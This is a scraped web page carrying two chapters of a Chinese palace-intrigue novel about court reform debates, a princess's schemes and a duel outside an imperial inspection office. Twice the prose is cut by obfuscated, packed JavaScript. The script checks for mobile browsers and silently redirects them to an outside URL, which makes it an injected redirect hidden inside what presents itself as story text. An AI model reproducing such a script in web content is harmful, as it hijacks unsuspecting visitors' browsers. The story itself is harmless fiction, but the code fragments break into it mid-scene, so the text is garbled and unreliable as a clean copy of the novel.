“再锋利的刀,也得有主人握着。否则,伤着别人,就不好了,是吧?” 郁净之敛了眸中晦暗神色,恭敬道:“陛下圣明。” “朕听说你修养期间三皇子和太子都对你关切问候?” “是。陛下中用净之,皇子们自然同陛下一心,也对净之多了几分关心。”郁净之睁眼说瞎话。 皇帝冷笑:“确实一条心,都想着替朕排忧解难、插手政事了。” “阿濯,当年你那么求朕,朕也没饶过赵家。”皇帝抬眸,神色不明,“你不恨朕?” 郁净之抱拳:“净之不敢。” “不敢”二字,极大程度取悦了皇帝。为君上者,其实并不是很在乎臣子是否忠心,能为他做事、做好事即可。毕竟真心藏在内里,无法窥见。而“不敢”,是他的权威。 皇帝要的,就是所有人都怕他,都畏惧他的权威,至此无人敢觊觎,敢触碰,敢挑衅。 “阿濯,很好。” “既你双腿已然痊愈,就还做回原来的差事,替朕分忧吧。” 郁净之从前,可是个人见人躲的狠角色,究其根本,是皇帝特赐给他的势力——京城司事署。不仅抢了御史台那群大夫的职责,还连着他们一起监察。谁都能参,谁都能抓。 十分不讲道理。可皇帝就是理中之理,谁又敢违逆。自此,人人骂郁净之是狐假虎威,借着天子之势行私心之职,更有人骂郁净之就是天子身边的一条狗。 郁净之通常会笑着说:“陛下会喜欢听到你这句话的,在你死后。” 于是郁净之就成了人人口中的煞神,躲都躲不及。但也有人动了歪心思,想着若是和这位天子近臣攀上关系,岂非此身无忧?接着送礼的送礼,族中有适龄女子的又送一门亲事,丝毫不管女子愿不愿意,郁净之又愿不愿意。 两厢不情愿的事,他们做得热络。 在他们看来,女子的婚事就是联姻的交易,女子就是为家族生生死死付出的好菩萨。可菩萨不应该供着吗? 谷彤也是这样许了人家。 郁净之回府的时候已是夜间。司事署重新交给他的旨意还没下来。 他理了理衣领,又正了发冠,加快脚步回了自己的院子。 赵绥宁早早等在那里。 她想着公主后来说的那些线索,什么太子有意纵着,没有彻查,三皇子也搅着浑水,便心中烦闷。 气愤地攥紧了香囊,脑中想法十分简单。若是把这些人都毒死便好了。 她长长叹气,怕是还没靠近就被他们身边的护卫给捅穿了。想到那个画面,她居然还把自己逗笑了,咯咯地捂着肚子笑。 赵绥宁想,自己落难后真真是阈值低了不少。 她笑得肚子疼,腹部的伤口已经愈合,只是一跳一跳地提醒她它曾经存在过。 被捅穿可不是什么好笑的事情,她又叹气。 “赵医师。”郁净之看着她一会儿笑一会儿皱着脸也被感染了情绪,柔声喊她。 她的笑意还没褪下,抬头看着郁净之。 郁净之去见皇帝,特地换了身深蓝色长袍,玉簪束发,形容昳丽。 郁净之喜欢你。 她突然想起公主说的话。 15.饲养疯狗的第十五天 郁净之说:“中书令那边传了消息来,说谷彤想与你见上一面,明日午后。” “那夜你被绑之事我想了想,还是要同你说。周至是三皇子的人,竹影说他身上有死士的印记,我细细看过,确是三皇子属下无疑。公主虽终日待在府中,朝中依旧有支持之人,三皇子年纪虽小,野心勃勃。先前中书令隐约有追随公主的趋向,他就等不及要做出这种事了。” 赵绥宁皱眉。她印象中三皇子嵇琮一直是高高在上的样子,不想也这么要争,更是……不择手段。谷彤何辜,就因为这种奇怪的理由差点丢了性命。 “去公主府了?”郁净之问道。 她的思绪又飘了回来,惊讶道:“世子怎知?” 郁净之但笑不语,只说:“公主答应为你荐举了?” “嗯。”赵绥宁重重点头,长吁短叹,“只怕是不容易。殿下同我说了右相的考量,只是不知是否顺利。” “别担心。”郁净之安慰她,“右相寂清然虽说寒门出身,但是为人刚正不阿,不会故意为难你的。只不过,他同公主殿下可是……势不两立。” “他想废除荐举,全面推广科举,这虽说是好事,只是反对的人多了去了。”郁净之坐在她对面,中指指腹不断敲击着桌面。 她不解,问:“既是好事,又怎会不同意?” “他要废除荐举,你就做不了官了。”郁净之笑道,“你会支持他吗?” 她恍然大悟,撑着脑袋说:“是这个理。大夏朝历来皆以荐举制施行,这才使得朝中官员遍布豪门,尤其是那几个大家族的子弟门生,几乎占了大半个大夏官员。先前刚推广科举的时候,就死了很多人。” “那圣上怎么想?”她悄悄伏在桌边,轻声细语问,“他会同意吗?” 郁净之也同她耳语:“若我是圣上,我不会同意全面推广科举。” “为什么?”她转过头朝天上望,却正好把郁净之整张脸收入眼帘,“圣上也会被科举触犯利益吗?”她的话胆子极大地说出来。 “非也。”郁净之垂头,乌黑的眸子深深望着赵绥宁,“政治清明对他来说,确是好事。可若大半数人都被触碰到了利益,你说,他们……会毫无作为吗?” · 翌日,朝廷。 嵇灵韵换了身紫色朝服,时隔数年,再次走上了那白色阶石。 朝臣们三五成群地并步走着,独一人孑然而立,望着台阶沉默不语。那人正过而立之年,身形削瘦,颜色极好,端的一副风清月朗之色,只是面容严肃,独添几分沉稳肃穆。此人正是右相寂清然。 嵇灵韵故意放慢了脚步,等着身后那人。 “寂大人。” 她站定,用笏拦住了右相。 “殿下意欲何为?”寂清然伸手弹开嵇灵韵的笏,冷冷问道。 “无事,许久不见大人,甚是想念。”嵇灵韵没个调性地说笑。 寂清然雪白的面容染上怒色,斥道:“荒唐!你身为公主,怎能这般同我说话!” “这般?这是哪般?大人实在敏感。”嵇灵韵笑着摇头,不再待在寂清然身旁,而是又上了个台阶,高高在上地俯视着他,“是同我府上面首一般说话的方式吗?” 寂清然气极冷哼:“原先不知朝上参什么,公主倒是给我送了个话柄。” “府上养着那么些面首,实在荒唐。” 嵇灵韵反而笑得更灿烂了,说:“那就参我一本吧。” “别把你那些藏得深的心事在朝上抖出来。”她压低身子,威胁道,“否则你的好日子可就没了。” 寂清然冷着脸,反唇相讥:“我能有什么心事?公主殿下行事倒是光明磊落,不然我早就出来当官了,也不至于这把年纪才能做些事。” “原来你还念着啊~”嵇灵韵挑起寂清然的下巴,“本公主再提醒一遍,别在朝上说你要说的事,你背后可没人护着。” 寂清然挺直腰背,说:“殿下放心,我会好好参您一本的。” 嵇灵韵松了手,阔步上行。 钟声肃穆,清晨的阳光微微升起。 最高的位置上有人坐下。 太监尖锐的声音响起:“有本启奏——” 嵇灵韵从一众皇子中走出,行礼道:“秉圣上,儿臣想荐举一人为官。” 话音刚落,朝下叽叽喳喳议论起来,大抵都是些贬斥之言。 “荒唐!荐举有诸多议程,怎能当朝轻易而言?” “公主把我们吏部当成什么了?” “实在荒唐!” 嵇灵韵听着那些嘈杂的声音,并没有说话,只低头等着皇帝的回答。 “暂搁置,其余人启奏。”皇帝并没有立刻说行还是不行。 右相寂清然持笏而出,道:“陛下,臣有本启奏。臣要参公主殿下——骄奢淫逸、豢养面首,毫无皇女之风,一径荒唐做派!” 又一阵喧嚣。无人料想寂清然竟真敢把这“上不得台面的事”端上来,况且公主殿下这副做派也不是一年两年了,往日里都无人说过,一是上不得台面,二是没必要。毕竟公主再怎么纳面首也是公主的私事,为人臣子的顶多劝诫几声,再者陛下这些年颇为纵着公主,也实在犯不上为了小事开罪公主、扰了皇帝清净。 嵇灵韵则是扬起唇角,懒散道:“儿臣知罪,自领责罚,只望陛下莫要动了我那些面首,他们离了我可难了。” 三皇子嵇琮小声参与进来,道:“皇姐莫要说了。” 太子则是顶着国字脸正直地说:“皇姐确实做过头了。” “确实该收收性子了。”皇帝抛下简单一句话,“朕择日给你挑位驸马。” “多谢父皇。”嵇灵韵冷笑。 “无事退朝——”大太监又喊。 正当所有人收拾仪容准备离开的时候,跪在地上的寂清然厉声道:“陛下,臣还有一事!” 朝臣们又定在原地,齐齐看向寂清然。 “说。”皇帝颔首。 嵇灵韵横眉,心中暗骂蠢货。 下一秒寂清然的话就引起轩然大波。 “臣请施行新政改革,废除荐举,全面推行科举!” 右相即便跪着,也是浑身上下板直板直的,就像他那个人,犟骨头,硬得不知变通。 这番话恍若热油溅入辣椒末,一瞬间沸腾起来。 先前缩着作鹌鹑状的臣子们纷纷站出来。 文官大多在前冲锋陷阵,就连少许不议政的武官也加入了战斗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922727|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而寂清然舌战群儒。 礼部侍郎:“陛下万万不可!这荐举制自开朝而始,推行诸载,岂能轻易废除?这有违先祖!” 寂清然:“礼部侍郎若真诚心,大可亲自下去问问先祖是否同意。” 太常卿:“陛下三思!右相实在冒进,眼下格局即是最好,不宜变通,未免伤了百姓之心。” 寂清然:“伤的是百姓之心还是贵族之心你是否分辨!” 吏部尚书:“改革兹事体大,怎能轻易提出?” 寂清然:“我已有详细规划,吏部尚书若感兴趣,大可同我辩论一番。” 辅国将军:“臣虽不通政事却也知道先祖里下来的规矩不能改,先前变革已是掀起波浪,现下若再变不就是朝令夕改了吗?陛下天威何在?” 寂清然:“将军既知自己不通政事就不要掺和进来,科举推行已有六年,何谈朝令夕改?将军怕不是牵强附会、强词夺理。” 左相曾广:“寂大人真是一张好嘴。” 寂清然:“左相谬赞。” 陆陆续续又有人开口,但都一一被寂清然驳了回去。 “静!”大太监叫出声。 阶下这才暂时偃旗息鼓。 皇帝直接下结论:“右相提出新政,可行。但全面推行,不可行。废除荐举,更不可行。” 寂清然重重叩首,道:“陛下三思。” 真是臭脾气,认死理的主。嵇灵韵撇嘴,心想,寂清然这硬骨头若叫人拆了,那也是煮不烂炖不熟的坏骨头。 “不必多言!”皇帝拂袖。 寂清然依旧叩头,力道大得把额头磕肿、磕破、流出血来,他沉声道:“请陛下三思!旧政沉疴难治,长久以往,阶级固化,百姓无力,国将不国!” 皇帝皱眉,转而看向嵇灵韵。 “镇国,你方才说要荐举一人,做什么官。” 嵇灵韵拜礼:“回陛下,此人是儿臣在民间遇到的,名叫赵岁。她文采斐然,胸襟宽阔,儿臣认为,可堪监察御史一职。” 有郁净之的司事署在,御史台早已形同虚设。监察御史虽说是正八品,可实际上没什么职能可理。但偶尔陛下宠幸,也能揽个和司事署一同监察的活计,总体来说还是有奔头的。 “朕允了。”皇帝瞥了眼仍在叩头的寂清然,冷声道,“退朝!” “来人,送寂卿回府好生修养。” 小太监们齐刷刷上前搀扶起磕得头破血流的寂清然。 寂清然推开他们,道:“我自己走。” 临了他依旧朝皇帝说:“望陛下三思!” 等众人走后,嵇灵韵才在城门等到磕磕绊绊走着路的寂清然,她嘲讽道:“你个蠢货,磕头磕爽了?” 寂清然则是看都不看她,自顾自跨过门槛,却因为鲜血模糊了视线,差点摔倒在地。 略微前倾的身体被嵇灵韵单手揽起,他嗅见嵇灵韵身上浸泡在伶人堆里的脂粉香气,厌恶地推开嵇灵韵。 “离我远点。”他骂道,“我不是你的面首。” 嵇灵韵挑眉:“曾经是。” “你方才利用我,成全你的私事。”寂清然后撤一步,对着嵇灵韵略带邪气的面庞,冷眼道,“你利用我。” 16.饲养疯狗的第十六天 嵇灵韵大方承认:“是,我利用了你。” “可是我也提醒过你,让你把心里想的蠢事好好藏着。是你自己蠢。”她向前一步,拍拍寂清然的脸,“还是要多谢你。” 极尽羞辱意味的动作让寂清然怒上心头,他先是驳斥嵇灵韵:“改革新政不是蠢事!” 接着他再次说道:“镇国!我不再是你的面首了!别再用这种神态看我、用这种语气同我说话、甚至用这种动作轻挑地对我!” “不是面首?那是什么?友人?”嵇灵韵状似开玩笑地说,“还是情人?” 后半句压得很低。 寂清然气得直呼其名:“嵇灵韵!” “你怎可、怎可如此羞辱与我!” 嵇灵韵说:“这是羞辱吗?” “这可比你当众磕破了头来的好。”她朝着寂清然的额头伤口处吹了丝凉气,“毕竟,此间话语,只有我二人知晓。” “我心中疼你,清然。”她怜惜地抚摸寂清然的眉眼,“破了相,可不美。” “嵇灵韵,你少和我装模作样。”寂清然掸开嵇灵韵的手,“我的事与你无关。我即便磕死在朝上,也用不着你管。” 嵇灵韵轻哼:“父皇说要为我选驸马,你意下如何?” 寂清然攥拳,眉目冷然,道:“那臣便祝殿下早日觅得佳人。” · 赵绥宁现下十分快活,原因无它,她居然就这么轻松得了个官位!一点阻碍都没遇到,轻松得不像话。她先前的担忧顿时没了,眼见着离她的目标越来越近,心情也好了很多。 于是一整天她都是咧着嘴笑着的。 就连被郁净之拉走的时候也是。 这回她们坐上了马车。 郁净之逞强,虽然腿未好全,但仍要在外面到处跑。 “世子,我们去哪儿啊?”她掀开小小的车帘,观察着外面的景色。马车越往前进人越少,十分奇怪,明明上一秒还是闹市,过了几轮子声音就消失得极快了。 这是怎么回事。 郁净之用帕子擦拭着手中短刀,故弄玄虚:“人很多的地方。” 她假笑:“哇哦,果然世子喜欢热闹。” “也是你以后会经常去的地方。”郁净之又打哑谜。 她想,她一个医师,经常去的地方除了药园不就是郁净之的房间了吗?难不成郁净之在外面有私宅? 不对,就她们两个吗! “世子……竹影呢?”她讪讪问。 马车停下。 郁净之起身,极为顺手地牵起她的衣袖,奇怪问道:“管他做甚?” “难不成,医师对竹影有、特别关照?”他眯着眼睛看赵绥宁。 嗯…… 她们还是下了马车。 眼前,一座比国公府略小的宅邸立在空地,周围宅院很多,但都没什么人影进出,若不是偶尔有小儿啼哭声,她竟以为没了人烟呢。 “司事署”三个大字题于匾上。 她是听过这大名鼎鼎的三个字的,在她全家还没下狱前,在欺负完初到京城的郁净之后。司事署的人听命于指挥使,而指挥使只听命于陛下一人,算是皇帝的直属机构。传闻司事署行事蛮横狠辣,曾在京中官员家中搜到贪墨黄金万余两,那官员还想狡辩抵死不认,指挥使当下快刀直落,取了官员项上人头,悬于闹市十日。百官纷纷上奏斥其不守程序,却不料圣上一概不看,把奏折全驳了回去。 最坏的是,奏折是由司事署的人一一送到府上。提着刀怒目圆瞪,黑压压一片人,吓得文官们又气又怕,大气不敢喘一声。 郁净之入京后第二年,就当上了副指挥使,人人尊称一句郁大人。也是那时候,她没再敢欺负郁净之。 她突发奇想,问:“世子,若有人欺负你,你会怎么办?” “其一,欺负回去。”郁净之将短刀收入鞘中,“其二,你等会儿就知道了。” 如果欺负他的人是她呢……赵绥宁有点怵。 “你的剑呢?”郁净之问。 她立即转过身,露出腰后别扭插着的两把长剑。 郁净之忍俊不禁,违心说道:“很衬你。” 她冷笑。 说时迟那时快。大门由内而外打开,却只有一人,虎背熊腰,颧骨高耸,一双黑瞳泛红。 他怒喝:“净之小儿!你安敢伤我弟弟!” 郁净之向前一步,将她挡在身后,轻声道:“且看着他的下场。” “陈大人,令弟无事,不是安然送至府上了吗?”郁净之浅笑,“难道陈大人对这个结果不甚满意?” “郁净之!我弟弟浑身是血,被你们打得身上没一块好肉,你怎好意思厚着脸皮说安然?”陈仲拔剑,以迅雷不及掩耳之势袭来,“看我今日不撕了你这张脸。” 郁净之原先笑着的脸顿时冷了下来:“毁人容颜?” 他把赵绥宁放到了安全位置,然后化被动为主动,一刀挑开陈仲长剑,快速刺向陈仲命门,道:“你不问问你弟弟是如何欺辱旁人的?” “我弟弟如何自有我这个做兄长的来管教!你平白插手什么闲事!勿以为圣上偏信你,你就能毫无节制乱缴臣亲到这种地步!”陈仲扭身躲开,长臂伸展,用了极强的力道抛开剑柄,双腿猛攻郁净之下盘,“我今日倒要看看,你这双废腿,是否恢复如初?” 赵绥宁看着二人缠斗在一起,不禁为郁净之捏了把汗,毕竟他的腿现在只是勉强能够行走,若是真被攻击到,那就严重了。 但是她又想着陈仲的话,郁净之会无缘无故把人打成那样子吗……她有些害怕。转念一想,自己也不是个什么好人,顿时稍稍安心。 突然又有人加入战场,只不过是口头加入。 “陈仲将军,我知你心疼弟弟,但也不能乱来啊!”面容眼熟,是三皇子嵇琮。 这人还是将军,那想必武艺极佳。郁净之危险了。 “这位姑娘,跟着净之来的?”不知何时,嵇琮蹭到了赵绥宁身旁,“我瞧你面熟,我们见过?” 她想起郁净之说的,嵇琮让周至去杀谷彤,只为挑起嵇灵韵和中书令的矛盾,顿时憋着股气,皮笑肉不笑道:“您说笑了。” 那边正打得热火朝天,兵刃相见铮鸣声不断。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922728|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈仲身子前倾,一手握剑,一手五指成爪,同时向郁净之手臂和心脏攻去。郁净之则是一柄短刀使得灵活,身体如轻燕,但只用刀往陈仲脸上呼。 陈仲一时刺不中郁净之,怒气高涨,道:“郁净之,你只攻我面,这是何意!未免太不把我放在眼里!” 郁净之不语,只一味攻其面门。 “姑娘,你说净之这脾气,是不是忒坏了?把人大将军当猴耍呢?”嵇琮声音不小,陈仲听到后面红耳赤,气得步子都乱了。 得。 她悄悄挪开一步,试图远离嵇琮。 很快战局结束。 郁净之借力打力,将短刀掷了出去,把陈仲脸部划出长长一道血痕,从眼睑到下巴。陈仲没躲及时,绊倒在地。 她几乎是立刻跑到郁净之身边,小声询问:“你的腿怎么样了?” 郁净之摇头,低语:“无事,放心。” 放什么心,她又没担心。 郁净之先前说的被欺负的下场“其二”,难道就是让人毁容?她不禁又想,那确实颇为狠戾了。陈仲本来长得就一般,如今脸上平添一道疤,怎轻易找得个伴? “陈仲,今日我且放过你,让你自行处理门户。”郁净之冷冷看向陈仲还有一旁看戏的嵇琮,“堂堂大将军,在外拼杀守国,弟弟却仗着权势,在京中欺男霸女,惹出多桩命案,滑天下之大稽。” 陈仲怔愣,讷讷吼道:“你可有证据!不然就是污蔑!” “证据?”郁净之轻笑,“你自己回去问问不就知道了吗?你去看看一同送至府上的十数张诉状,上面白纸黑字写得分明。” “怎么?大将军不认字?” 陈仲起身,拂袖离开。 “三殿下,这场戏还满意吗?”郁净之又望向嵇琮。 嵇琮抚掌,道:“满意,十分满意。” 视线又移向郁净之双腿:“看见你腿好了我便放心了。” 郁净之拜别,拉着赵绥宁进了司事署大门,随后又叫人关上大门。 “公主为你求来的监察御史一职,我会请陛下将你借调过来,我们一同行事。”郁净之走得慢。 她点头:“好,世子。” 郁净之带她去了一处小花圃,里面种着君子兰。土壤是黑漆漆的,湿润的,像是刚浇过水的。 他自顾自蹲下来,小心翼翼地去触碰君子兰。神情认真专注。 “这花怎么样?” 赵绥宁如实回答:“长得很好。” 郁净之轻笑,道:“这是譬如梅兰竹菊的君子兰,有气节。” “看不出。”她说,“无非是士大夫之流用来标榜自己罢了。” “说到底,若人是刚毅不折,所爱之物便是蒲草也高贵起来。” 郁净之又笑:“我娘最爱这花,她说我爹喜欢这花,所以她爱。” 赵绥宁不懂,说:“你娘还喜欢别的花吗?” “唯独此花。”郁净之摇头。 “想来国公是个惜花爱花的君子了。”她说道。 “确实。”郁净之唇角高扬,“最爱标榜自己。”